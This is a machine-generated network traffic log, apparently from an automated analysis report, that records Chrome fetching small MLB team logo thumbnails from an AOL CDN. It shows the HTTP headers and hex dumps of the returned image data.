2024-05-23 22:34:53 UTC	1300	IN	Data Raw: d0 ae 58 2e 9a 52 18 f8 b4 f2 6c f8 e8 cd 10 a1 2a 9f 67 da 8b 58 8b 55 6c 31 6c 60 ea 67 03 c2 ff 00 57 4b 8e 1e 2e e4 ee 37 c2 e7 f7 4f c3 8a fb 5f a9 e5 43 5e c8 12 03 c9 58 3f 12 99 f7 03 6c 87 e2 d7 c5 4e b9 5b 4d 4a 83 72 b6 85 94 0c fc 5b 00 4a 77 f9 4f a6 16 a9 5e 04 bc 29 45 a9 97 96 3c 60 f1 71 be 6e d5 af f3 1f 31 30 62 cb 39 eb 39 54 af 3a 63 f0 17 3f ba 7c 5c 0c 51 a6 fd 14 41 90 b8 7e 88 af b5 fa 9e 40 35 cb 59 62 1d aa 37 41 a6 19 e1 ac 5e 63 75 df dd e2 48 70 d2 13 cb 90 e1 a8 27 88 dd 77 a3 4e ff 00 29 f4 39 97 3b 82 71 69 ce a4 44 96 b6 36 bf 2e 33 d1 9b b3 3f b0 ba b6 c6 69 a1 47 3d ec cb 21 29 2d 48 99 31 44 88 b0 d3 c3 0c d5 64 bf 2e b4 7e 64 c8 65 0a 91 9b bb 2c a3 6f 44 23 2a 6b 8e ca 21 21 e8 f1 f6 55 44 63 8a 29 29 a8 a8 3c fa 1e Data Ascii: X.RlgXUl1l`gWK.7O_C^X?lN[MJr[JwO^)E<`qn10b99T:c?\|\QA~@5Yb7A^cuHp'wN)9;qiD6.3?iG=!)-H1Dd.~de,oD#k!!UDc))<
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: b0 f3 51 3b 0f 35 13 b0 f3 51 3b 0f 35 13 b0 f3 51 3b 0f 35 13 b0 f3 44 ed ef 77 7f 5b bf ff da 00 08 01 03 02 06 3f 00 f5 6a 8e 4d 75 26 ba 93 5d 49 ae a4 d7 52 6b a9 35 d4 9a ea 4d 75 26 ba 93 5d 49 af dd 5e 67 57 66 e6 71 f9 b5 3d 16 ab 52 ad 56 f9 7a 23 d2 dd d3 e6 75 76 55 c5 f4 ce 9a 56 7f 8e 52 5a 0d 3f 28 ff 00 26 7f e5 b5 35 07 df 1c 46 93 c9 cb 2f 10 6c 46 2c 14 f7 05 46 bb 71 c7 76 e9 7e 34 22 42 e4 f5 67 7d 3e 07 97 e8 4e cf 57 d9 85 71 11 2c b7 f8 b6 cd 08 90 d6 8d ae 83 a9 7d 4c e5 fd 7b 55 71 cb 4d 1d c4 47 7d 4b 1d be 11 34 ee 0d 41 a3 30 b7 d8 3d 83 d2 dd d2 46 ce 34 27 ae ae 5c 54 82 e5 c5 48 2e 5c 54 82 e5 c5 48 2e 5c 54 82 e5 c5 48 2e 5c 54 82 e5 c5 48 2e 5c 54 82 e5 c5 48 2e 5c 54 82 e5 c5 33 7c 19 9b d6 ef ff da 00 08 01 01 01 06 3f Data Ascii: Q;5Q;5Q;5Dw[?jMu&]IRk5Mu&]I^gWfq=RVz#uvUVRZ?(&5F/lF,Fqv~4"Bg}>NWq,}L{UqMG}K4A0=F4'\TH.\TH.\TH.\TH.\TH.\T3\|?
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 20 d2 8d b8 61 43 e1 74 f3 28 51 b7 cb 12 11 1e 33 2a 3e 7b 0a 82 66 b9 40 0c 4b ba 38 e7 2e f3 83 83 8f ad c1 8f 6a 6c ee 2e 09 96 f6 06 11 68 b9 cb 25 c4 eb 55 4e 51 57 60 71 79 bf b3 7c 65 af e1 a2 e3 4a c1 61 9b b4 47 c4 b4 ee 19 1f ad e1 d4 14 f9 bc 59 6e 17 b3 55 d1 c1 83 4e 22 22 a9 59 9a 75 29 1e 1e 31 0a 8b 08 db ee ee 4d 9b 46 ee 82 9b 45 94 0d 2b 70 c6 64 35 74 33 ac af fe ab 1e d4 7b 50 4e 96 ed 96 4c f0 db 55 bf 44 ae 4e 4c 52 0e e1 1a 8f af 6e 7d 7f 3a cc 5b 7b 64 5b e1 5c 93 34 9c eb 03 50 c2 65 6e 91 80 58 d3 fa fc 74 0a f1 ec 97 82 79 a6 c7 78 01 73 d1 19 64 42 70 b6 00 96 71 57 55 98 da 36 75 5c 10 ed d7 36 66 d7 5b c4 45 24 70 37 d3 07 33 95 7e 61 5d ae c6 37 bf 67 76 cd c2 2c ad 15 0a 67 88 21 83 24 84 02 ea 5d b0 c5 3c 77 0d 77 1d 45 Data Ascii: aCt(Q3*>{f@K8.jl.h%UNQW`qy\|eJaGYnUN""Yu)1MFE+pd5t3{PNLUDNLRn}:[{d[\4PenXtyxsdBpqWU6u\6f[E$p73~a]7gv,g!$]<wwE
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 10 05 08 05 eb f2 aa 06 7d dc ab d3 06 63 61 5d 9d c2 93 bd 7b 3e 2b d1 6c d5 2a 22 08 5d 71 55 15 77 a8 5b 16 46 9c 6d 1e d0 ef 37 76 8c 3b 18 60 ba dd 10 60 20 24 04 0b f0 f5 89 eb 30 cd 9c f3 69 ab e6 f1 79 b6 43 34 a6 ed 26 a8 66 59 d3 25 19 41 53 d1 56 3f fe 6e ea ef 6f b7 b4 b5 88 9b 6d 11 64 93 48 4a b1 8b b6 10 d2 b5 f4 f5 92 9d 5d 4e f3 1b 2e e1 b4 5c 29 1b c6 ca 02 b8 96 e7 a4 71 02 22 63 54 01 1f 64 fb 1d 46 62 d7 da 5d de ee d9 c6 36 a4 87 a5 10 61 01 33 5e 98 5b 56 25 a8 ae 3a 8c da 60 75 e1 bb 5d d9 6d 45 60 6d 82 55 dc 8b 7c 4a c0 4e b1 a7 87 4f 56 88 d3 3a 03 99 8b 4d b8 0e 58 36 69 5a 20 cb df 28 58 c2 ea f8 b8 f6 83 72 7b 12 49 dd c8 4a dc 42 4a 4c 69 d4 ef a0 96 02 3d e7 60 d9 8b ef 67 6e 1a 82 bc ba 5d c8 2d 80 47 2a 89 7a e5 4b ac 89 Data Ascii: }ca]{>+l"]qUw[Fm7v;`` $0iyC4&fY%ASV?nomdHJ]N.\)q"cTdFb]6a3^[V%:`u]mE`mU\|JNOV:MX6iZ (Xr{IJBJLi=`gn]-GzK
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 7f d3 f5 f1 b7 58 5a bc d7 67 79 6c eb e6 b9 25 20 66 b5 cd ba 92 95 b4 39 8a 16 15 ee a9 b1 44 b6 f2 bb cc 5b 59 a5 ed 75 8d e2 5b 3a 77 0d 37 1a da a9 59 89 ae e2 e2 5b 70 40 e5 b9 82 d5 b5 dc 1a 69 d1 f3 98 da ee 6e 4e 5a f7 5a a8 da c2 e9 92 22 01 22 22 c5 95 ca 9a 63 6b 6c 04 db c4 c4 c4 01 aa 58 9b 66 b1 95 7f a4 0b 8f 17 fc 0c 6d 88 b6 69 2e d1 57 31 6d 74 03 31 4b 18 eb 7b ab cd 33 ed 7d d9 76 d6 ec ff 00 d5 e1 56 ce 0b 69 53 dc 28 08 07 e7 71 c7 1c 0e 2b 59 50 f0 ea 70 10 6b 77 7c df 9a c6 d9 41 30 23 f1 97 20 e2 4e 4a a1 0b 7b fe 1f 78 39 55 80 98 ab b1 89 6a 61 35 44 c5 45 70 c9 52 c4 7b 46 4c 80 6f f8 69 c6 dc f1 81 59 46 e3 a0 cd 26 6a 2c a5 70 f0 29 5b 46 03 51 47 4d 7d 4c 12 12 bf 15 77 75 b9 ee 0a 54 30 e4 40 01 57 17 24 4c 6b 29 69 8a 92 Data Ascii: XZgyl% f9D[Yu[:w7Y[p@inNZZ"""cklXfmi.W1mt1K{3}vViS(q+YPpkw\|A0# NJ{x9Uja5DEpR{FLoiYF&j,p)[FQGM}LwuT0@W$Lk)i
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: c4 05 37 0b e9 f7 e4 bb 55 7c 2c 6e 0e 7a 45 f3 6e b1 60 09 fe 98 ac be 35 3c 58 da 5e 48 0b 7f 14 4c 17 02 a2 81 9a 26 7f a3 e1 51 8d cc 3c 22 ad a7 6f 9c d2 c5 8d 25 34 c9 45 2d f4 95 d1 81 dc 0d 0b 9b 5b 95 a0 16 bc b8 60 da 54 b3 a3 b3 a6 03 8b 6b 5a 22 6e 4c d8 6c 66 5c 54 89 48 2c 6a f2 7d c5 9f d0 2b f7 07 f3 97 77 a3 39 3a 9d 3b 7f d3 aa ce 05 cc 7d 1f 7b fc 3c 5b ed ab 2a 25 e5 35 b7 2a a9 11 89 36 32 9c c6 ae 11 f2 b1 ff 00 cb cf fe df ff 00 c8 c3 76 d6 1e b4 2e 04 96 ea 69 ac 4a 2a aa 8a 8e 9e 2e 0e b6 2d 49 45 05 ba ed b3 2b 8a a7 ac 6b 88 02 59 14 ff 00 a8 46 93 7e 97 0d 5d b9 15 ab 67 86 e2 dd a3 d1 33 1d 5a d4 7f bf 85 05 c1 1d d3 a3 86 de dd 43 d1 19 f5 a8 50 7c 63 c3 17 71 94 de dd 44 b6 e7 2e 98 1e 1c 96 9a bb 5a 43 fe 65 78 da ff 00 e6 Data Ascii: 7U\|,nzEn`5<X^HL&Q<"o%4E-[`TkZ"nLlf\TH,j}+w9:;}{<[%562v.iJ*.-IE+kYF~]g3ZCP\|cqD.ZCex
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: e1 52 c1 99 54 14 29 cb a1 89 30 3a 4e 86 71 71 f2 fa 98 6e dd 75 d2 bb 85 4a 5b 2b 8a 3a d1 49 12 ba fa 7e 52 f0 c5 5d 3a dc d6 4a 25 c1 a9 12 b6 49 17 0c 34 cb 5c c3 ab d7 58 2f 8f e6 f1 b4 73 bf f8 82 ab ab de 7d dd d6 1e 57 2b bf d5 f3 9e 46 1b 70 bb 80 93 3b ff 00 c4 05 4e 5d 6a 9f bb 2f 6e d0 72 e1 81 ab 4e 9f 88 53 7c db b4 f9 7c bc 38 19 72 32 cb 8d c6 df 72 32 05 52 30 56 fe 12 65 0b 5e a1 70 33 c0 75 eb e5 ea f9 df 39 71 e1 1e ac ee ae 09 ec 17 aa 4c 69 21 15 e9 70 39 7e 8e ad 4f f2 b0 4a 33 19 11 26 38 f4 c2 85 8d 64 4d 20 42 22 59 a6 90 ec 05 58 dc af e9 38 b4 7b 09 56 6a 60 51 92 ca 75 ef 5a 00 42 07 45 e5 fb 5c 7f 3a b5 29 98 b2 b3 7d d8 b7 6e db c8 0d 2b d3 98 71 e8 e5 e1 06 e2 e0 9a 62 5a 04 35 f0 24 0d c6 0b f8 7a b7 7b 7a 6f 01 36 37 6f Data Ascii: RT)0:NqqnuJ[+:I~R]:J%I4\X/s}W+Fp;N]j/nrNS\|\|8r2r2R0Ve^p3u9qLi!p9~OJ3&8dM B"YX8{Vj`QuZBE\:)}n+qbZ5$z{zo67o
2024-05-23 22:34:53 UTC	873	IN	Data Raw: ba 99 b7 94 46 cc 02 41 15 ad 4e 3b f0 1c ea a5 7e 21 64 8d bd 9a da 5e af fb 78 db 92 4a 74 a0 96 e6 ee 2b b2 30 16 78 c7 10 5c f4 b9 cc 4f dd f5 19 79 c6 96 77 9a 5e 6f 1b 58 bd 59 4d ad d5 fb 5b 99 c1 c8 8b d9 74 76 e5 5e 75 30 98 0f 5f c3 f4 98 dd 5e b4 d7 27 b9 d8 df 5b 84 10 c4 b5 76 a3 b7 cb c4 33 2e 06 55 68 f5 af 5b 4f 8f e0 71 e1 d6 de 1c d3 08 5a cc cd 92 39 d6 dd 4e 45 21 27 c6 b5 ac 18 7c 7e 79 78 bf ba 30 c9 4f 04 0a cf 38 e9 d3 86 d7 1e 57 0e a7 6b 1b 43 1b 68 6f 34 6d e1 67 74 95 12 e5 8a 31 a0 ea 0a d8 0a 62 c8 84 d6 dd 36 fa 1c 58 6e 25 6b 32 d5 6e 2f bc 7d 9a c8 24 c1 6f 55 cd a0 40 91 10 24 da 1a e9 75 c5 2c f4 fa 5a 9d b2 0b 75 c9 b8 1b 6f 70 29 cc 60 8b c3 bd 37 84 98 92 21 56 a1 8a 34 c7 99 a7 5e 27 70 24 12 54 76 82 a8 86 48 d5 07 Data Ascii: FAN;~!d^xJt+0x\Oyw^oXYM[tv^u0_^'[v3.Uh[OqZ9NE!'\|~yx0O8WkCho4mgt1b6Xn%k2n/}$oU@$u,Zuop)`7!V4^'p$TvH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.6	49939	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	699	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F2UNZyOQXhKqnd2JRfT26lg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190315%2F500x500%2Fcubs_wbg.png&client=76f99bdb8f78cd44cc0b&signature=a3b2659666d9421df5229b37996f2ae554b756a4 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	1134	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500371 Cache-Control: public, max-age=2592000 Cache-Tag: 266662709995079170073183560603147727625,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21959-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 77 Content-Type: image/png Date: Thu, 23 May 2024 22:34:53 GMT Edge-Cache-Tag: 266662709995079170073183560603147727625,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "54c4b7b548462e8256120e1738b08120" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:23:57 GMT Server: ECAcc (lhd/35C3) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2160,owidth=50,oheight=50,obytes=2692,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kjyo7100079-IAD X-Timer: S1711411322.453363,VS0,VE1 Content-Length: 2160 Connection: close
2024-05-23 22:34:53 UTC	2160	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.6	49940	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	708	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FU5.SOf.2odBFKvqm19ffnQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190315%2F500x500%2Fdiamondbacks_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=90f04834c13384cadb7ada17976f034e90578534 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	1127	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1290783 Cache-Control: public, max-age=2592000 Cache-Tag: 390140098819754147651442720438145452461,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21968-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 56 Content-Type: image/png Date: Thu, 23 May 2024 22:34:53 GMT Edge-Cache-Tag: 390140098819754147651442720438145452461,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "efa8f8df0727cb953f944988016a29cf" Expiration: expiry-date="Thu, 01 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Fri, 02 Feb 2024 01:29:28 GMT Server: ECAcc (lhd/3592) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1848,owidth=50,oheight=50,obytes=2271,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21925-LGA X-Timer: S1711411311.842574,VS0,VE85 Content-Length: 1848 Connection: close
2024-05-23 22:34:53 UTC	1848	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c e3 d4 ac e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d3 ac e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ac e3 d4 ad e3 d4 ad e2 d4 ad e3 d4 ad e0 d1 ab e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad df d0 aa e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e2 d3 ac e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e1 d1 ab e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d3 ac e3 d4 ad e3 d4 ad e2 d3 ad e3 d4 ad e3 Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.6	49941	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	702	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FQB5S6jzVrGi9dzZjpgiEiQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Ftigers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=9656c02d98e17ffd3d0b171bf05f51d4062ee06e HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	1126	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1906523 Cache-Control: public, max-age=2592000 Cache-Tag: 500259006421552715598062688995501844874,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21944-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:53 GMT Edge-Cache-Tag: 500259006421552715598062688995501844874,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "e9420d01fe6ef05a9d5d321a8f54946f" Expiration: expiry-date="Fri, 26 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Jan 2024 05:45:21 GMT Server: ECAcc (lhd/35A6) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1906,owidth=50,oheight=50,obytes=2097,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21951-LGA X-Timer: S1711400370.261490,VS0,VE68 Content-Length: 1906 Connection: close
2024-05-23 22:34:53 UTC	1906	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff d8 dd e4 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ee f0 f4 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f7 f8 f9 ff ff ff fd fd fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff e0 e4 e9 ff ff ff f5 f6 f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fd fd e0 e5 ea ff ff ff ea ed f1 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe ff ff ff ff ff ff ff ff f3 f5 f7 ff ff ff e4 e8 ec ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.6	49944	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	703	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FJrvY8puwJEhEpd3DohzHEQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fdodgers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=f234883edd21ac8f45d6b4c4e4a1892c255489be HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	1129	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500371 Cache-Control: public, max-age=2592000 Cache-Tag: 265504267967767364376012111407754448708,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21952-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 103 Content-Type: image/png Date: Thu, 23 May 2024 22:34:53 GMT Edge-Cache-Tag: 265504267967767364376012111407754448708,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "738e1a6168b92155e201c7e4a0cc1d24" Expiration: expiry-date="Sun, 01 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 04 Mar 2024 17:28:08 GMT Server: ECAcc (lhd/359A) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1503,owidth=50,oheight=50,obytes=1549,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21948-LGA X-Timer: S1711411322.462052,VS0,VE83 Content-Length: 1503 Connection: close
2024-05-23 22:34:53 UTC	1503	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 bb 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fd fe ff ff ff ff ff ff ff ff ff ff ff ff f7 fa fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f9 fb fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 09 80 bc ff ff ff ff ff ff ff ff ff 0a Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.6	49942	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	702	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fuf3lXihrOQmBeoYkwwc9Aw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190314%2F500x500%2Forioles_wbg.png&client=76f99bdb8f78cd44cc0b&signature=458c85b0633896610d7e3d8d0612912638fe16df HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1895583 Cache-Control: public, max-age=2592000 Cache-Tag: 446081768626103144087696126046698926685,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000155-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:53 GMT Edge-Cache-Tag: 446081768626103144087696126046698926685,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "1b92903762466100340083c301a95db7" Expiration: expiry-date="Tue, 06 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 07 Feb 2024 13:40:11 GMT Server: ECAcc (lhd/35D0) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2169,owidth=50,oheight=50,obytes=2884,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kjyo7100119-IAD X-Timer: S1711411311.831981,VS0,VE1 Content-Length: 2169 Connection: close
